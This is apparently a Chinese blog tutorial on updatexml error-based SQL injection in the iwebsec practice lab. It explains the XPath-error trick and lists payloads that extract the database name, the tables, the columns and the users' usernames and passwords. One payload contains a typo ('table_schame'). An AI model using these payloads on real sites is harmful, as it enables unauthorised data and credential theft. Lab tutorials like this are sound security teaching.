iwebsec-updatexml报错注入

原理分析

Updatexml()函数"updatexml(XML_document, XPath_string, new_value);"

参数 描述
XML_document String格式,为XML文档对象的名称,文中为Doc
XPath_string Xpath格式的字符串
new_value String格式,替换查找到的符合条件的数据

即sql语句为"select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1"

concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户

0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~

实战注入

1.判断是否存在漏洞,添加and 1=1# 页面正常回显,and 1=2# 页面回显异常,即存在sql注入漏洞

2.爆出数据库

复制代码
id=1 and (updatexml(1,concat('~',(select database())),3))#

3.爆出表

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schame=database())),3))#

4.爆出users表字段

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3))#

5.爆数据

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(username,',',password) from users)),3))#
相关推荐
百***757417 小时前
从 SQL 语句到数据库操作
数据库·sql·oracle
i***395817 小时前
SQL 注入详解:原理、危害与防范措施
数据库·sql·oracle
lingggggaaaa17 小时前
免杀对抗——C2远控篇&C&C++&DLL注入&过内存核晶&镂空新增&白加黑链&签名程序劫持
c语言·c++·学习·安全·网络安全·免杀对抗
jenchoi41321 小时前
【2025-11-23】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·数据库·安全·web安全·网络安全
AI绘画小331 天前
网络安全(黑客技术)—2025自学手册
网络·安全·web安全·网络安全·渗透测试
舒一笑1 天前
信息的建筑学:MyBatis Log Panda 如何重构开发者的认知地图
后端·sql·intellij idea
core5121 天前
不借助框架实现Text2SQL
sql·mysql·ai·大模型·qwen·text2sql
张人玉1 天前
SQLite 快速入门 Cheat Sheet
数据库·sql·sqlite
DarkAthena1 天前
【DuckDB】活用marco以兼容GaussDB的SQL执行
数据库·sql·duckdb
x***01061 天前
SQL 注入漏洞原理以及修复方法
网络·数据库·sql